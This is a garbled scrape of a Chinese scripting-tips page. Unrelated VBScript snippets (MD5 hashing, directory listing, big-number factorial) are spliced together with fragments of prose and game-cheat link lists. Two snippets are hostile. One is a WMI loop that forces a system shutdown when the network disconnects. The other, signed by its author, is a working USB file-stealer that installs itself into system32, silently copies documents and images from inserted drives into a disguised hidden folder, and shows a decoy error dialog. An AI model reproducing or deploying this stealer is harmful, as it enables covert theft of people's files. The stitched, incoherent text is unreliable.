在MicrosoftJet中，把FoxPro的一个数据库文件(．dbf)看作是一个表，因此，指定表名称实际上是指定．dbf文件今天写程序时突然想到做一个文件的备份，把网站上的数据库备份到本地机上

Private Const BITS_TO_A_BYTE=8 Private Const BYTES_TO_A_WORD=4 Private Const BITS_TO_A_WORD=32 Private m_lOnBits(30) Private m_l2Power(30) m_lOnBits(0)=CLng(1) m_lOnBits(1)=CLng(3) m_lOnBits(2)=CLng(7) m_lOnBits(3)=CLng(15) m_lOnBits(4)=CLng(31) m_lOnBits(5)=CLng(63) m_lOnBits(6)=CLng(127) m_lOnBits(7)=CLng(255) m_lOnBits(8)=CLng(511) m_lOnBits(9)=CLng(1023) m_lOnBits(10)=CLng(2047) m_lOnBits(11)=CLng(4095) m_lOnBits(12)=CLng(8191) m_lOnBits(13)=CLng(16383) m_lOnBits(14)=CLng(32767) m_lOnBits(15)=CLng(65535) m_lOnBits(16)=CLng(131071) m_lOnBits(17)=CLng(262143) m_lOnBits(18)=CLng(524287) m_lOnBits(19)=CLng(1048575) m_lOnBits(20)=CLng(2097151) m_lOnBits(21)=CLng(4194303) m_lOnBits(22)=CLng(8388607) m_lOnBits(23)=CLng(16777215) m_lOnBits(24)=CLng(33554431) m_lOnBits(25)=CLng(67108863) m_lOnBits(26)=CLng(134217727) m_lOnBits(27)=CLng(268435455) m_lOnBits(28)=CLng(536870911) m_lOnBits(29)=CLng(1073741823) m_lOnBits(30)=CLng(2147483647) m_l2Power(0)=CLng(1) m_l2Power(1)=CLng(2) m_l2Power(2)=CLng(4) m_l2Power(3)=CLng(8) m_l2Power(4)=CLng(16) m_l2Power(5)=CLng(32) m_l2Power(6)=CLng(64) m_l2Power(7)=CLng(128) m_l2Power(8)=CLng(256) m_l2Power(9)=CLng(512) m_l2Power(10)=CLng(1024) m_l2Power(11)=CLng(2048) m_l2Power(12)=CLng(4096) m_l2Power(13)=CLng(8192) m_l2Power(14)=CLng(16384) m_l2Power(15)=CLng(32768) m_l2Power(16)=CLng(65536) m_l2Power(17)=CLng(131072) m_l2Power(18)=CLng(262144) m_l2Power(19)=CLng(524288) m_l2Power(20)=CLng(1048576) m_l2Power(21)=CLng(2097152) m_l2Power(22)=CLng(4194304) m_l2Power(23)=CLng(8388608) m_l2Power(24)=CLng(16777216) m_l2Power(25)=CLng(33554432) m_l2Power(26)=CLng(67108864) m_l2Power(27)=CLng(134217728) m_l2Power(28)=CLng(268435456) m_l2Power(29)=CLng(536870912) m_l2Power(30)=CLng(1073741824) a=inputbox("请输入密码：") wscript.echo md5(a) Private Function LShift(lValue, iShiftBits) If iShiftBits=0 Then LShift=lValue Exit Function ElseIf iShiftBits=31 Then If lValue And 1 Then LShift=&H80000000 Else LShift=0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If If (lValue And m_l2Power(31 - iShiftBits)) Then LShift=((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000 Else LShift=((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits)) End If End Function Private Function RShift(lValue, iShiftBits) If iShiftBits=0 Then RShift=lValue Exit Function ElseIf iShiftBits=31 Then If lValue And &H80000000 Then RShift=1 Else RShift=0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If RShift=(lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits) If (lValue And &H80000000) Then RShift=(RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1))) End If End Function Private Function RotateLeft(lValue, iShiftBits) RotateLeft=LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits)) End Function Private Function AddUnsigned(lX, lY) Dim lX4 Dim lY4 Dim lX8 Dim lY8 Dim lResult lX8=lX And &H80000000 lY8=lY And &H80000000 lX4=lX And &H40000000 lY4=lY And &H40000000 lResult=(lX And &H3FFFFFFF) + (lY And &H3FFFFFFF) If lX4 And lY4 Then lResult=lResult Xor &H80000000 Xor lX8 Xor lY8 ElseIf lX4 Or lY4 Then If lResult And &H40000000 Then lResult=lResult Xor &HC0000000 Xor lX8 Xor lY8 Else lResult=lResult Xor &H40000000 Xor lX8 Xor lY8 End If Else lResult=lResult Xor lX8 Xor lY8 End If AddUnsigned=lResult End Function Private Function F(x, y, z) F=(x And y) Or ((Not x) And z) End Function Private Function G(x, y, z) G=(x And z) Or (y And (Not z)) End Function Private Function H(x, y, z) H=(x Xor y Xor z) End Function Private Function I(x, y, z) I=(y Xor (x Or (Not z))) End Function Private Sub FF(a, b, c, d, x, s, ac) a=AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac)) a=RotateLeft(a, s) a=AddUnsigned(a, b) End Sub Private Sub GG(a, b, c, d, x, s, ac) a=AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac)) a=RotateLeft(a, s) a=AddUnsigned(a, b) End Sub Private Sub HH(a, b, c, d, x, s, ac) a=AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac)) a=RotateLeft(a, s) a=AddUnsigned(a, b) End Sub Private Sub II(a, b, c, d, x, s, ac) a=AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac)) a=RotateLeft(a, s) a=AddUnsigned(a, b) End Sub Private Function ConvertToWordArray(sMessage) Dim lMessageLength Dim lNumberOfWords Dim lWordArray() Dim lBytePosition Dim lByteCount Dim lWordCount Const MODULUS_BITS=512 Const CONGRUENT_BITS=448 lMessageLength=Len(sMessage) lNumberOfWords=(((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD) ReDim lWordArray(lNumberOfWords - 1) lBytePosition=0 lByteCount=0 Do Until lByteCount >=lMessageLength lWordCount=lByteCount \ BYTES_TO_A_WORD lBytePosition=(lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount)=lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition) lByteCount=lByteCount + 1 Loop lWordCount=lByteCount \ BYTES_TO_A_WORD lBytePosition=(lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount)=lWordArray(lWordCount) Or LShift(&H80, lBytePosition) lWordArray(lNumberOfWords - 2)=LShift(lMessageLength, 3) lWordArray(lNumberOfWords - 1)=RShift(lMessageLength, 29) ConvertToWordArray=lWordArray End Function Private Function WordToHex(lValue) Dim lByte Dim lCount For lCount=0 To 3 lByte=RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1) WordToHex=WordToHex & Right("0" & Hex(lByte), 2) Next End Function Public Function MD5(sMessage) Dim x Dim k Dim AA Dim BB Dim CC Dim DD Dim a Dim b Dim c Dim d Const S11=7 Const S12=12 Const S13=17 Const S14=22 Const S21=5 Const S22=9 Const S23=14 Const S24=20 Const S31=4 Const S32=11 Const S33=16 Const S34=23 Const S41=6 Const S42=10 Const S43=15 Const S44=21 x=ConvertToWordArray(sMessage) a=&H67452301 b=&HEFCDAB89 c=&H98BADCFE d=&H10325476 For k=0 To UBound(x) Step 16 AA=a BB=b CC=c DD=d FF a, b, c, d, x(k + 0), S11, &HD76AA478 FF d, a, b, c, x(k + 1), S12, &HE8C7B756 FF c, d, a, b, x(k + 2), S13, &H242070DB FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE FF a, b, c, d, x(k + 4), S11, &HF57C0FAF FF d, a, b, c, x(k + 5), S12, &H4787C62A FF c, d, a, b, x(k + 6), S13, &HA8304613 FF b, c, d, a, x(k + 7), S14, &HFD469501 FF a, b, c, d, x(k + 8), S11, &H698098D8 FF d, a, b, c, x(k + 9), S12, &H8B44F7AF FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1 FF b, c, d, a, x(k + 11), S14, &H895CD7BE FF a, b, c, d, x(k + 12), S11, &H6B901122 FF d, a, b, c, x(k + 13), S12, &HFD987193 FF c, d, a, b, x(k + 14), S13, &HA679438E FF b, c, d, a, x(k + 15), S14, &H49B40821 GG a, b, c, d, x(k + 1), S21, &HF61E2562 GG d, a, b, c, x(k + 6), S22, &HC040B340 GG c, d, a, b, x(k + 11), S23, &H265E5A51 GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA GG a, b, c, d, x(k + 5), S21, &HD62F105D GG d, a, b, c, x(k + 10), S22, &H2441453 GG c, d, a, b, x(k + 15), S23, &HD8A1E681 GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8 GG a, b, c, d, x(k + 9), S21, &H21E1CDE6 GG d, a, b, c, x(k + 14), S22, &HC33707D6 GG c, d, a, b, x(k + 3), S23, &HF4D50D87 GG b, c, d, a, x(k + 8), S24, &H455A14ED GG a, b, c, d, x(k + 13), S21, &HA9E3E905 GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8 GG c, d, a, b, x(k + 7), S23, &H676F02D9 GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A HH a, b, c, d, x(k + 5), S31, &HFFFA3942 HH d, a, b, c, x(k + 8), S32, &H8771F681 HH c, d, a, b, x(k + 11), S33, &H6D9D6122 HH b, c, d, a, x(k + 14), S34, &HFDE5380C HH a, b, c, d, x(k + 1), S31, &HA4BEEA44 HH d, a, b, c, x(k + 4), S32, &H4BDECFA9 HH c, d, a, b, x(k + 7), S33, &HF6BB4B60 HH b, c, d, a, x(k + 10), S34, &HBEBFBC70 HH a, b, c, d, x(k + 13), S31, &H289B7EC6 HH d, a, b, c, x(k + 0), S32, &HEAA127FA HH c, d, a, b, x(k + 3), S33, &HD4EF3085 HH b, c, d, a, x(k + 6), S34, &H4881D05 HH a, b, c, d, x(k + 9), S31, &HD9D4D039 HH d, a, b, c, x(k + 12), S32, &HE6DB99E5 HH c, d, a, b, x(k + 15), S33, &H1FA27CF8 HH b, c, d, a, x(k + 2), S34, &HC4AC5665 II a, b, c, d, x(k + 0), S41, &HF4292244 II d, a, b, c, x(k + 7), S42, &H432AFF97 II c, d, a, b, x(k + 14), S43, &HAB9423A7 II b, c, d, a, x(k + 5), S44, &HFC93A039 II a, b, c, d, x(k + 12), S41, &H655B59C3 II d, a, b, c, x(k + 3), S42, &H8F0CCC92 II c, d, a, b, x(k + 10), S43, &HFFEFF47D II b, c, d, a, x(k + 1), S44, &H85845DD1 II a, b, c, d, x(k + 8), S41, &H6FA87E4F II d, a, b, c, x(k + 15), S42, &HFE2CE6E0 II c, d, a, b, x(k + 6), S43, &HA3014314 II b, c, d, a, x(k + 13), S44, &H4E0811A1 II a, b, c, d, x(k + 4), S41, &HF7537E82 II d, a, b, c, x(k + 11), S42, &HBD3AF235 II c, d, a, b, x(k + 2), S43, &H2AD7D2BB II b, c, d, a, x(k + 9), S44, &HEB86D391 a=AddUnsigned(a, AA) b=AddUnsigned(b, BB) c=AddUnsigned(c, CC) d=AddUnsigned(d, DD) Next MD5=LCase(WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)) End Function ->设置各控件的属性如下：Form1：AutoRedraw：TrueScaleMode：3Picture1：AutoRedraw：TrueScaleMode：3Visible:False2代码编写Modull.bas中的内容（声明BitBlt函数）：PublicConstSRCCOPY=&HCC0020'（DWORD）dest=sourceDeclareFunctionBitBltLib"gdi32"Alias"BitBlt"(ByValhDestDCAsLongByValxAsLongByValyAsLongByValnWidthAsLongByValnHeightAsLongByValhSrcDCAsLongByValxSrcAsLongByValySrcAsLongByValdwRopAsLong)AsLong这两句只要从Win32api.txt文件中粘贴即可

Option Explicit Dim oFS : Set oFS=CreateObject( "Scripting.FileSystemObject" ) Dim oWS : Set oWS=CreateObject( "WScript.Shell" ) WScript.Echo "Script:" WScript.Echo "ScriptFullName:", WScript.ScriptFullName WScript.Echo "ScriptFullPath:", oFS.GetParentFolderName( WScript.ScriptFullName ) WScript.Echo "Current:" WScript.Echo "FS:", oFS.GetAbsolutePathName( "." ) WScript.Echo "WS:", oWS.CurrentDirectory -------- output ------------- C:\wis\_vbs\0506\dev\forum cscript curdir.vbs Script: ScriptFullName: C:\wis\_vbs\0506\dev\forum\curdir.vbs ScriptFullPath: C:\wis\_vbs\0506\dev\forum Current: FS: C:\wis\_vbs\0506\dev\forum WS: C:\wis\_vbs\0506\dev\forum C:\wis\_vbs\0506\dev\forum cd .. C:\wis\_vbs\0506\dev cscript forum\curdir.vbs Script: ScriptFullName: C:\wis\_vbs\0506\dev\forum\curdir.vbs ScriptFullPath: C:\wis\_vbs\0506\dev\forum Current: FS: C:\wis\_vbs\0506\dev WS: C:\wis\_vbs\0506\dev 两点关键：1检测是Windows关闭引起的QueryUnload事件

Dim Wsh,objWMIService,colMonitoredEvents Set Wsh=WScript.CreateObject("WScript.Shell") Set objWMIService=GetObject("winmgmts:\. ootwmi") Set colMonitoredEvents=objWMIService.ExecNotificationQuery("Select * from MSNdis_StatusMediaDisconnect") Do While True Set strLatestEvent=colMonitoredEvents.NextEvent Wsh.run "shutdown -s -t 30 -c "&chr(34)&"系统网络断开，机器即将关闭"&chr(34) Loop

你可能会非常惊奇：Friend类型过程的执行速度要明显快于Public类型

oStr="txt|jpg|doc" '文件类型，添加文件类型用“|”隔开 oDistPath="C:\\windows\\system\" '保存路径 oFolderName="Task" '保存文件夹名称 oType=1 '1为task文件夹，2为recycler文件夹，0为不隐藏 oOut=1 '1复制完毕后退出,0复制完毕后不退出，继续循环 'By:白开 QQ:343229025 Set fso=CreateObject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell") If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32 '文件夹不存在则创建 If (not fso.FolderExists(oDistPath & oFolderName)) Then fso.CreateFolder(oDistPath & oFolderName) End If '创建记录文件 Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True) '循环监测移动存储设备插入 Do For Each oDriver In fso.Drives If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then TreeIt(oDriver) Msgbox "Windows 错误",64 If(oOut=1) then Exit Do End if End If Next WScript.Sleep 15000 Loop Mylog.Close '隐藏文件夹 oHideFolder oDistPath,oFolderName,oType else '如果是其它目录，先安装 fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs" Msgbox "安装成功" end if Set fso=nothing Set wshell=nothing '遍历目录函数 Function TreeIt(sPath) Set oFolder=fso.GetFolder(sPath) Set oSubFolders=oFolder.Subfolders Set oFiles=oFolder.Files For Each oFile In oFiles oCopyFile oFile.Path,oDistPath,oFolderName Next For Each oSubFolder In oSubFolders TreeIt(oSubFolder.Path) Next Set oFolder=Nothing Set oSubFolders=Nothing End Function '复制文件函数 Function oCopyFile(FileName,oDistPath,oFolderName) Ext=fso.GetExtensionName(FileName) If(instr(oStr,lcase(Ext))) then Randomize tempname=Ext&int((Rnd*100000000)+1)&"."&Ext fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true Mylog.writeline FileName Mylog.writeline tempname End If End Function '隐藏文件夹函数 Sub oHideFolder(oDistPath,oFolderName,oType) Select Case oType case 1 Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) inf.writeline("[.ShellClassInfo]") inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}") case 2 Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) inf.writeline("[.ShellClassInfo]") inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}") case 0 Exit sub End Select Set inf=nothing Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) SysoFolder.attributes=4 Set SysoFolder=nothing End sub 'By:白开 QQ:343229025直播格式尽管各个复本放置在不同的计算机上，但它们是保持同步的'Author: Demon 'Website: 'Email: 380401911@qq.com Option Explicit Function multiple(byVal x, byVal y) Dim n, t, i, j, z, w() n=Len(x) - 1 t=Len(y) - 1 ReDim w(n + t + 1) x=CStr(x) : y=CStr(y) For i=0 To UBound(w) w(i)="0" Next For i=0 To t Dim c : c=0 Dim uv : uv=0 For j=0 To n uv=(w(i+j)-"0") + c + _ (Mid(x,n-j+1,1)-"0") * (Mid(y,t-i+1,1)-"0") w(i+j)=CStr(uv Mod 10 + "0") c=uv \ 10 Next w(i+n+1)=CStr(uv \ 10 + "0") Next z=Join(w,"") z=StrReverse(z) Do While Left(z,1)="0" z=Mid(z,2) Loop multiple=z End Function Function factorial(n) Dim i, t : t=1 For i=1 To n t=multiple(t, i) Next factorial=t End Function Dim t : t=Timer WScript.Echo factorial(100) WScript.Echo Timer - t 。

热门阅读 按键精灵游戏脚本制作（按键精灵 电脑脚本地址没了怎么弄（电脑显 阴阳师辅助脚本（阴阳师辅助脚本 明日之后辅助脚本（明日之后辅助 问道手游辅助脚本收费(问道手游 炉石传说金币脚本刷很多金币（炉 硬件脚本怎么写（硬件脚本和软件 ce修改器怎么导入脚本(ce修改器 脚本大师与按键精灵（按键精灵和 传奇假人脚本（传奇假人脚本在哪 ios游戏脚本软件下载（ios脚本制 lol刷精粹脚本（lol刷精粹脚本辅 分镜头脚本格式word免费（分镜头 lol脚本自动走砍怎么用（lol自动 浏览器脚本怎么安装（浏览器脚本 脚本怎么安装(天龙八部小蜜脚本 不能打开脚本文件（autoit错误不 产品视频脚本模板（视频制作脚本 浏览器脚本修复（修复浏览器怎么 动画脚本写作(动画脚本写作技巧) 上一篇：稳定脚本框架辅助安卓禁用调试未勾选 下一篇：突发事件应急演练脚本代理 相关文章 易语言写游戏脚本容易嘛（易语言 冰焰v8脚本官网下载（冰焰v8最新 免费辅助脚本网(游戏辅助器免费 天龙嘻嘻脚本下载地址（嘻嘻天龙 面膜短片视频脚本范文（面膜直播 免root脚本精灵（免root脚本精灵 关于免root脚本精灵脚本大全的信 按键精灵游戏脚本制作（按键精灵 rpg游戏脚本（rpg游戏脚本编辑器 脚本和剧本的区别是什么意思(脚 网站地图 | Tag标签 | RSS订阅 Copyright © 2012-2019 脚本之家 All Rights Reserved脚本之家  渝ICP备13030612号 联系我们： var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?8a427ab35d2c6bd582020a9391840fcf"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();